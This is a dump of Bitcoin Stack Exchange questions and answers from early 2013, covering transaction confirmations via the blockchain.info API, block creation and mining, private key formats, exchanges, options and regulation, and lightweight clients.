  <row Id="7328" PostTypeId="1" AcceptedAnswerId="7331" CreationDate="2013-01-28T02:37:02.853" Score="8" ViewCount="5208" Body="&lt;p&gt;How can I know if any given transaction has confirmations and has paid the miner's fee, using the &lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot;&gt;BlockChain.info DATA API&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="6242" LastEditDate="2013-09-15T10:32:00.960" LastActivityDate="2017-01-29T15:11:46.967" Title="How can I determine the number of confirmations of a transaction and its fee using the Blockchain.info DATA API?" Tags="|confirmations|blockchain.info|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7329" PostTypeId="2" ParentId="7327" CreationDate="2013-01-28T04:38:00.807" Score="2" Body="&lt;p&gt;Notice that your private key retrieved from the Satoshi client begins with a K. According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;List of Address Prefixes&lt;/a&gt;, that means the key is exported in &lt;em&gt;compressed&lt;/em&gt; form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MultiBit's export file saves private keys in &lt;strong&gt;uncompressed&lt;/strong&gt; form. Private keys in uncompressed form begin with a 5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can divine the uncompressed key using Bitaddress's wallet details page. Just look for the private key that begins with a 5. It's the private key that has a QR code next to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat the latter part of your steps, adding the uncompressed key to the export file and then importing that file.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-28T04:38:00.807" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7330" PostTypeId="1" AcceptedAnswerId="7332" CreationDate="2013-01-28T04:41:21.483" Score="10" ViewCount="29869" Body="&lt;p&gt;have been mining on pools and blindly going a long for the ride of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&gt; generating a block&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody walk through the process in simple terms of the steps involved in creating a block on the blockchain ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What determines what transactions get included on the block we are mining ?&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="5406" LastEditDate="2016-03-09T15:20:05.120" LastActivityDate="2016-03-09T15:20:05.120" Title="Whats the process of Creating a Block on the BlockChain" Tags="|blockchain|block|block-header|transaction-selection|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7331" PostTypeId="2" ParentId="7328" CreationDate="2013-01-28T04:50:10.960" Score="7" Body="&lt;p&gt;If a transaction returned from the &lt;code&gt;http://blockchain.info/rawtx/$tx_hash&lt;/code&gt; endpoint has a confirmation, it will have a &lt;code&gt;block_height&lt;/code&gt; member. You can then calculate roughly its number of confirmations by subtracting that value from the latest height retrieved from the &lt;code&gt;http://blockchain.info/latestblock&lt;/code&gt; endpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code example, in Ruby:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env ruby&#xA;require &quot;open-uri&quot;&#xA;require &quot;json&quot;&#xA;# call this script with `ruby block_height.rb &amp;lt;tx_hash&amp;gt;`&#xA;tx = ARGV.shift&#xA;puts &quot;Getting info for #{tx}...&quot;&#xA;j = JSON.parse open(&quot;http://blockchain.info/rawtx/#{tx}&quot;).read&#xA;if j[&quot;block_height&quot;]&#xA;  b = JSON.parse open(&quot;http://blockchain.info/latestblock&quot;).read&#xA;  puts &quot;%d confirmations&quot; % (b[&quot;height&quot;] - j[&quot;block_height&quot;] + 1)&#xA;else&#xA;  time_since = Time.now.gmtime.to_i - j[&quot;time&quot;]&#xA;  puts &quot;It's been #{time_since} seconds since the transaction was created.&quot;&#xA;  puts &quot;It's not been ten minutes yet!&quot; if time_since &amp;lt; 600&#xA;  puts &quot;It's due any time now.&quot; if time_since &amp;gt;= 600&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calculating the transaction fee is best done by summing the inputs and outputs of a transaction, then subtracting the inputs from the outputs. Difference is the transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-01-29T02:54:42.297" LastActivityDate="2013-01-29T02:54:42.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7332" PostTypeId="2" ParentId="7330" CreationDate="2013-01-28T08:40:03.067" Score="11" Body="&lt;p&gt;When miners try to compute a block, they pick all transactions that they want to be added in the block, plus one coinbase (generation) transaction to their address. They may include any transaction they want to form a tree of transactions later hashed into the merkle root and referenced into the block's header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is to note that for a block to be accepted by the network it needs to contain only valid transactions: inputs that are not yet spent, inputs that have the valid ammount, signature that verifies ok and etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After having a valid merkle root they build the block's header:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Version (4 bytes)&lt;/li&gt;&#xA;&lt;li&gt;Hash of the previous block, thus making a chain of block (32 bytes)&lt;/li&gt;&#xA;&lt;li&gt;Merkle root, the tree of transactions' reference (32 bytes)&lt;/li&gt;&#xA;&lt;li&gt;Timestamp, number of seconds since 1970-01-01 00:00 (4 bytes)&lt;/li&gt;&#xA;&lt;li&gt;Bits, a representation of the networks current difficulty (4 bytes)&lt;/li&gt;&#xA;&lt;li&gt;Nonce, incremented when mining (4 bytes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See more &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot;&gt;here&lt;/a&gt; to learn more on how to build the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then this where your miner enters the game. It starts with the nonce at 0, hash (sha-256 2x) the block's header and then check if the hash in under the &lt;a href=&quot;http://blockexplorer.com/q/hextarget&quot;&gt;current target&lt;/a&gt; (if you are on a pool the share target). If not it increments the nonce and hash again. If the hash is under the &lt;a href=&quot;http://blockexplorer.com/q/hextarget&quot;&gt;current target&lt;/a&gt; YOU FOUND A BLOCK, you then transfer your block's header and the associated transactions' tree and the network accepts it. Because you had a coinbase transaction in your block paying to your bitcoin address those bitcoin then becomes yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is to says that finding a block is rare so your miner will eventually run out of nonce to use you can then change parameter in your block header (more likely the timestamp) or add a extra nonce field in your transactions tree thus changing the merkle root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for which transactions are chosen to be part of a block, it is mostly the miners choice to include one or other transaction. But normally they would include transaction with a miners fee in it to gain more bitcoin, a miner could also choose not to include any transaction and only get the coinbase one. The propagation of ones transaction through the network also influence which transactions a miner do include.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-28T08:40:03.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7333" PostTypeId="2" ParentId="7309" CreationDate="2013-01-28T12:13:32.903" Score="1" Body="&lt;p&gt;If you want to add a label to an address that is used to receive coins, you best use &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;Accounts&lt;/a&gt;. Later you can fetch balances of individual Accounts and see which orders have enough confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add a label to an address you send your coins to, use &quot;comment-to&quot; field in &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list#Full_list&quot; rel=&quot;nofollow&quot;&gt;an RPC call&lt;/a&gt; that creates the transaction.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-28T12:13:32.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7334" PostTypeId="1" CreationDate="2013-01-28T12:39:18.743" Score="-1" ViewCount="246" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2566/how-is-the-exchange-rate-for-bitcoin-established&quot;&gt;How is the exchange rate for Bitcoin established?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I notice that bitcoins are sold on the market with alternate prices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is their price established ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who is establishing how much a coin worths ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-01-28T14:32:33.357" Title="How bitcoins increase their value" Tags="|bitcoin-economy|" AnswerCount="1" CommentCount="1" ClosedDate="2013-01-28T18:46:56.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="7335" PostTypeId="2" ParentId="7334" CreationDate="2013-01-28T14:32:33.357" Score="1" Body="&lt;p&gt;There is no central pricing body. The &lt;a href=&quot;https://en.wikipedia.org/wiki/Open_market&quot; rel=&quot;nofollow&quot;&gt;open market&lt;/a&gt; is determining the price. What customers of the exchanges are willing to pay and the price at which sellers are willing to sell is the price of bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-28T14:32:33.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7336" PostTypeId="1" AcceptedAnswerId="7339" CreationDate="2013-01-28T15:46:49.543" Score="4" ViewCount="449" Body="&lt;p&gt;How to best explain these transaction fee spikes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6eh95.png&quot; alt=&quot;Transaction Fee graph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these spikes actually transaction fees or accidentally taken as transaction fees because remaining amount not credited back to sending address during partial amount transfer? Is it really possible to differentiate between these two cases?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-01-28T21:20:00.363" Title="How to best explain these transaction fee spikes?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7337" PostTypeId="1" AcceptedAnswerId="7343" CreationDate="2013-01-28T18:29:32.150" Score="7" ViewCount="1527" Body="&lt;p&gt;Hi! I would like to set up a local wallet at my computer, which runs as a daemon. However, the blockchain takes ages to download and every single day it takes quite a lot of time to update the receiving transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use Bitcoind in a &quot;light mode&quot; and avoid so much cpu/disk usage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2016-10-30T15:13:49.797" Title="How can I run Bitcoind -server in &quot;light mode&quot;?" Tags="|bitcoind|daemon|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7338" PostTypeId="1" CreationDate="2013-01-28T20:55:59.130" Score="16" ViewCount="18660" Body="&lt;p&gt;Like put and call options for a stock, but for the future price of Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2014-05-30T11:02:42.007" Title="Is it possible to buy or sell Bitcoin options?" Tags="|exchanges|trading|options|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7339" PostTypeId="2" ParentId="7336" CreationDate="2013-01-28T21:14:59.907" Score="2" Body="&lt;p&gt;First of all you'd have to look at the spikes and see if they are the result of single transactions with a high transaction fee or if there were more transactions overall that day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see individual transactions with a very high transaction fee then I'd say it's pretty likely to be a mistake by the sender. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=135665.0&quot; rel=&quot;nofollow&quot;&gt;Here, for example, is the explanation&lt;/a&gt; for the spike on January 10th. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've been doing raw tx's without a problem for weeks I guess the&#xA;  exhaustion of working over 12 hours per day for the last week has&#xA;  clearly taken its toll.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In general though, there is obviously no way to know if someone paid a very high transaction fee on purpose or not.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2013-01-28T21:20:00.363" LastActivityDate="2013-01-28T21:20:00.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7341" PostTypeId="2" ParentId="7338" CreationDate="2013-01-28T23:18:27.950" Score="4" Body="&lt;p&gt;It's possible in theory, but right now there are no good markets to actually do it. The only one I know is MPEX which has multiple problems and should be avoided.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-28T23:18:27.950" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7342" PostTypeId="1" AcceptedAnswerId="21962" CreationDate="2013-01-29T07:57:50.027" Score="10" ViewCount="19525" Body="&lt;p&gt;In case of a sudden price drop, I want to sell my coins automatically. MtGox doesn't have an option for this, which exchanges do?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2013-08-30T15:10:23.943" LastActivityDate="2018-02-25T09:05:58.840" Title="Which exchanges offer stop-loss functionality?" Tags="|exchanges|trading|market|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7343" PostTypeId="2" ParentId="7337" CreationDate="2013-01-29T09:35:23.120" Score="5" Body="&lt;p&gt;I don't think Simplified Payment Verification (SPV or &quot;light mode&quot;) is available in the reference client. There are plans to implement it in the development going on in the discussion email list though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could download the source code for &lt;a href=&quot;https://github.com/jim618/multibit&quot; rel=&quot;noreferrer&quot;&gt;MultiBit&lt;/a&gt; and then use that as a starting point for your own daemon. Alternatively, just use the underlying &lt;a href=&quot;http://code.google.com/p/bitcoinj/source/checkout&quot; rel=&quot;noreferrer&quot;&gt;BitcoinJ&lt;/a&gt; library which offers some example tools that probably do what you want right out of the box.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-01-29T09:35:23.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7344" PostTypeId="2" ParentId="7342" CreationDate="2013-01-29T13:18:40.923" Score="2" Body="&lt;p&gt;I think &lt;a href=&quot;https://campbx.com/&quot; rel=&quot;nofollow&quot;&gt;https://campbx.com/&lt;/a&gt; allows this, I don't know of any others.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-29T13:18:40.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7346" PostTypeId="1" CreationDate="2013-01-30T01:42:01.280" Score="3" ViewCount="980" Body="&lt;p&gt;Tradehill was &lt;a href=&quot;http://arstechnica.com/tech-policy/2012/02/major-bitcoin-exchange-shuts-down-blaming-regulation-and-loss-of-funds/&quot; rel=&quot;nofollow&quot;&gt;shutdown for various regulation issues&lt;/a&gt;, including not having the required money transmission licenses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What were the money transmission licenses that were required?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other compliance rules should be followed?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-08-29T17:17:03.610" Title="What money transmission licences are relevant to Bitcoin?" Tags="|exchanges|legal|tradehill|regulation|license|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7347" PostTypeId="1" CreationDate="2013-01-30T02:20:09.103" Score="2" ViewCount="214" Body="&lt;p&gt;When I first installed the program I noticed that it was synchronising with the network, and whilst it was doing so it was downloading blocks. I wanted to know if these blocks will be saved on my hard drive or will be be deleted after the synchronising is complete. If the files are stored on my hard drive I wanted to know if when I uninstall the program will the files also be deleted?&lt;/p&gt;&#xA;" OwnerUserId="2767" LastEditorUserId="5406" LastEditDate="2015-12-24T11:10:10.733" LastActivityDate="2015-12-24T11:10:10.733" Title="Will the block data saved or discarded after synchronization? Does it get removed when uninstalling?" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7349" PostTypeId="2" ParentId="7347" CreationDate="2013-01-30T04:40:39.660" Score="3" Body="&lt;p&gt;The blocks will be stored on your hard drive in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;application data directory&lt;/a&gt;. If you uninstall, the block files will be kept. There may be an option in the uninstaller that will remove them, but the wallet.dat file will be kept for certain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Future versions of the mainline client, Bitcoin-Qt, will handle this storage differently via &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4649/what-is-an-spv-client&quot;&gt;Simplified Payment Verification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-01-30T04:40:39.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7350" PostTypeId="2" ParentId="7346" CreationDate="2013-01-30T05:02:07.723" Score="2" Body="&lt;p&gt;There aren't many regulations to transmitting bitcoins. Probably do some extra reserach, but it seems safe and clear&lt;/p&gt;&#xA;" OwnerUserId="2768" LastActivityDate="2013-01-30T05:02:07.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7352" PostTypeId="2" ParentId="7312" CreationDate="2013-01-30T09:31:42.340" Score="2" Body="&lt;p&gt;Bitcoins spend in a transaction come from an output of a previous transaction. As such a spent output is always associated with the address that received the coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address that is identified as the sender is usually one of the addresses that spent outputs. As such there are as many sending addresses for each wallet as there are receiving addresses, adding a few addresses for change that the wallet will automatically create.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details see the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;protocol specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-30T09:31:42.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7353" PostTypeId="2" ParentId="799" CreationDate="2013-01-30T09:53:30.557" Score="2" Body="&lt;p&gt;(edit: removed old and stale magnet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now use these, as advised in top answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=145386.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/bin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/bin/blockchain/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://armoryguide.com/bootstrapping-the-blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://armoryguide.com/bootstrapping-the-blockchain/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2769" LastEditorUserId="2769" LastEditDate="2014-06-02T07:25:11.777" LastActivityDate="2014-06-02T07:25:11.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7354" PostTypeId="2" ParentId="7346" CreationDate="2013-01-30T10:26:05.340" Score="3" Body="&lt;p&gt;Tradehill got shutdown because it went bankrupt when Dwolla started reversing money transfers made to them despite their terms of service stating that no chargebacks could occur (at the time). There is currently a &lt;a href=&quot;http://blogs.desmoinesregister.com/dmr/index.php/2012/03/06/bitcoin-exchanges-files-lawsuit-against-dwolla&quot; rel=&quot;nofollow&quot;&gt;lawsuit&lt;/a&gt; pending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The required licenses will vary depending on the legal context and the interpretation of the business, made by the relevant legal authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of legal uncertainty surrounding Bitcoin, but there is one thing that is pretty certain : in all jursidictions you need a license to maintain fiat-denominated balances on behalf of third-parties.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-01-30T10:26:05.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7355" PostTypeId="2" ParentId="7338" CreationDate="2013-01-30T10:35:17.057" Score="0" Body="&lt;p&gt;MPEx is fine, it offers options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts there are expensive (30 BTC IIRC) but there are third-party brokers that will let you avoid these fees by offering a different fee structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to deal with MPEx directly you should have some knowledge about PGP as its security architecture is based on it and requires to be able to clearsign orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't have any specific issues that I know of (except for the opinionated PR perhaps).&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-01-30T10:35:17.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7357" PostTypeId="2" ParentId="4422" CreationDate="2013-01-30T13:44:57.410" Score="1" Body="&lt;p&gt;If you're going to trust someone to give you a pre-indexed version of the blockchain, you are trusting them about the entire history of transactions. They can claim whatever they want (within certain bounds), and your client will accept it. If there is a mistake in the data (either deliberately or accidentally), it will result in the client rejecting the future valid chain at some point, potentially landing you in a side chain (which may be under control of the attacker). If many people would use the same source for their pre-indexed files, they would all end up on the same side chain, living in their own happy world. Both chains (the real one, and the side one) would allow every existing output to be spent once; if this happens on a large scale, it is a disaster for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the long waiting times are a real problem (the upcoming 0.8 version should be significantly faster, though) but if you can't spend the resources and time to maintain a fully validating node (like the reference client implements), consider using a lightweight client like Multibit. It does not offer the same security, but it is better than trusting a centralized instance to tell you history.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-01-30T13:44:57.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7359" PostTypeId="2" ParentId="4586" CreationDate="2013-01-30T14:19:53.823" Score="4" Body="&lt;p&gt;There is no limit to taking the wallet offline. The blockchain, which is shared by all users, contains all the information on who owns the bitcoins. Your private key identifies the ownership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the reason why you may see a balance of 0 is because the official windows client doesn't seem to store the wallet inside the application folder, but in your OS user profile. It may still be reading the wrong wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see your old transactions, but a balance of 0 - then you should worry.&lt;/p&gt;&#xA;" OwnerUserId="1857" LastEditorUserId="1857" LastEditDate="2013-01-30T15:12:42.707" LastActivityDate="2013-01-30T15:12:42.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7360" PostTypeId="1" CreationDate="2013-01-30T14:48:13.997" Score="3" ViewCount="698" Body="&lt;p&gt;With the recent increase in articles about the threat of Bitcoin vs central banks, government and other authorities over the money supply, I am wondering how well authorities are prepared and actively dealing with the situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, most are probably aware of it by now. There have been some official statements by several agencies. Most notable I could find are the &lt;a href=&quot;http://www.ecb.int/pub/pdf/other/virtualcurrencyschemes201210en.pdf&quot; rel=&quot;nofollow&quot;&gt;ECB: Virtual Currency Schemes&lt;/a&gt; (PDF, European Central Bank - October 2012), &lt;a href=&quot;http://www.reuters.com/article/2011/06/08/us-financial-bitcoins-idUSTRE7573T320110608&quot; rel=&quot;nofollow&quot;&gt;U.S. Senators seek crackdown on &quot;Bitcoin&quot; currency&lt;/a&gt; (Reuters, June 2011) and &lt;a href=&quot;http://www.wired.com/threatlevel/2012/05/fbi-fears-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;FBI Fears Bitcoin’s Popularity with Criminals&lt;/a&gt; (Wired, May 2012)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any proof that serious plans are in the works to 'crackdown on Bitcoin' - either directly by creating laws or indirectly by influence on the market?&lt;/p&gt;&#xA;" OwnerUserId="1857" LastEditorUserId="2306" LastEditDate="2014-09-12T00:58:29.500" LastActivityDate="2014-09-12T00:58:29.500" Title="Strategies against Bitcoin" Tags="|banks|weaknesses|politics|ecb|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7361" PostTypeId="1" AcceptedAnswerId="7367" CreationDate="2013-01-30T15:38:17.620" Score="8" ViewCount="3016" Body="&lt;p&gt;I see these &quot;Public Notes&quot; on blockchain.info. What are they? How do they work? Can I make one? Here's a random example: &lt;a href=&quot;http://blockchain.info/address/1DkyBEKt5S2GDtv7aQw6rQepAvnsRyHoYM&quot;&gt;http://blockchain.info/address/1DkyBEKt5S2GDtv7aQw6rQepAvnsRyHoYM&lt;/a&gt;&#xA;Some of the transactions on that address have &quot;Public Notes&quot; before them.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2021-04-06T14:05:02.770" Title="What are Public Notes" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7362" PostTypeId="1" CreationDate="2013-01-30T17:33:51.860" Score="1" ViewCount="137" Body="&lt;p&gt;Can I store my wallet on one machine while running the client on another?&#xA;I'd like to help the p2p aspect of the network by leaving a dedicated machine connected...&lt;/p&gt;&#xA;" OwnerUserId="2773" LastEditorUserId="845" LastEditDate="2013-01-30T21:42:52.613" LastActivityDate="2013-03-02T04:31:15.303" Title="Wallet versus client machine" Tags="|wallet|network|nodes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7363" PostTypeId="1" AcceptedAnswerId="7372" CreationDate="2013-01-30T19:03:01.280" Score="4" ViewCount="926" Body="&lt;p&gt;Assuming:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An average modern computer&lt;/li&gt;&#xA;&lt;li&gt;Using a single thread, as the current Satoshi client does&lt;/li&gt;&#xA;&lt;li&gt;Using the OpenSSL library, as the Satoshi Bitcoin client does&lt;/li&gt;&#xA;&lt;li&gt;The signature is not in the signature cache&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I speculate that the time may be between 1 and 10 msec.&lt;/p&gt;&#xA;" OwnerUserId="638" LastEditorUserId="638" LastEditDate="2013-01-30T19:08:37.167" LastActivityDate="2013-01-31T16:28:21.663" Title="How much time it takes to verify a Bitcoin signature in the Satoshi client?" Tags="|bitcoin-core|performance|signature|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7365" PostTypeId="2" ParentId="7362" CreationDate="2013-01-30T19:41:30.337" Score="0" Body="&lt;p&gt;The wallet functionality and peer-to-peer node are not very tightly dependent, a node does not require a wallet to store the chain, validate and propagate transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wallet is basically just a keystore (and a list of available unspent outputs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is not very clear though, do you want to leave your wallet on another machine for security purposes? In this case you might want to switch to a wallet like blockchain.info which might be more practical.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-01-30T19:41:30.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7366" PostTypeId="1" AcceptedAnswerId="7377" CreationDate="2013-01-30T19:42:34.760" Score="5" ViewCount="2646" Body="&lt;p&gt;Satoshi Dice requires wallets to be able to receive coins from the same address they are sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some notable examples that are compatible and incompatible with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the technical reasons behind such an incompatibility?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="153" LastEditDate="2013-01-31T02:24:46.083" LastActivityDate="2013-02-08T23:23:25.983" Title="What wallets are compatible with Satoshi Dice?" Tags="|wallet|e-wallet|satoshidice|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7367" PostTypeId="2" ParentId="7361" CreationDate="2013-01-30T19:51:33.700" Score="8" Body="&lt;p&gt;Public notes are simply attached to addresses/transactions in the blockchain.info database, not in the blockchain itself, it's more of a convenience service offered by this particular website than a protocol feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, you can make them on blockchain.info, you apparently do not need to own an address to tag it (some of my addresses got tagged without me doing it). The same is probably (I haven't checked) true for transactions.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-01-30T19:51:33.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
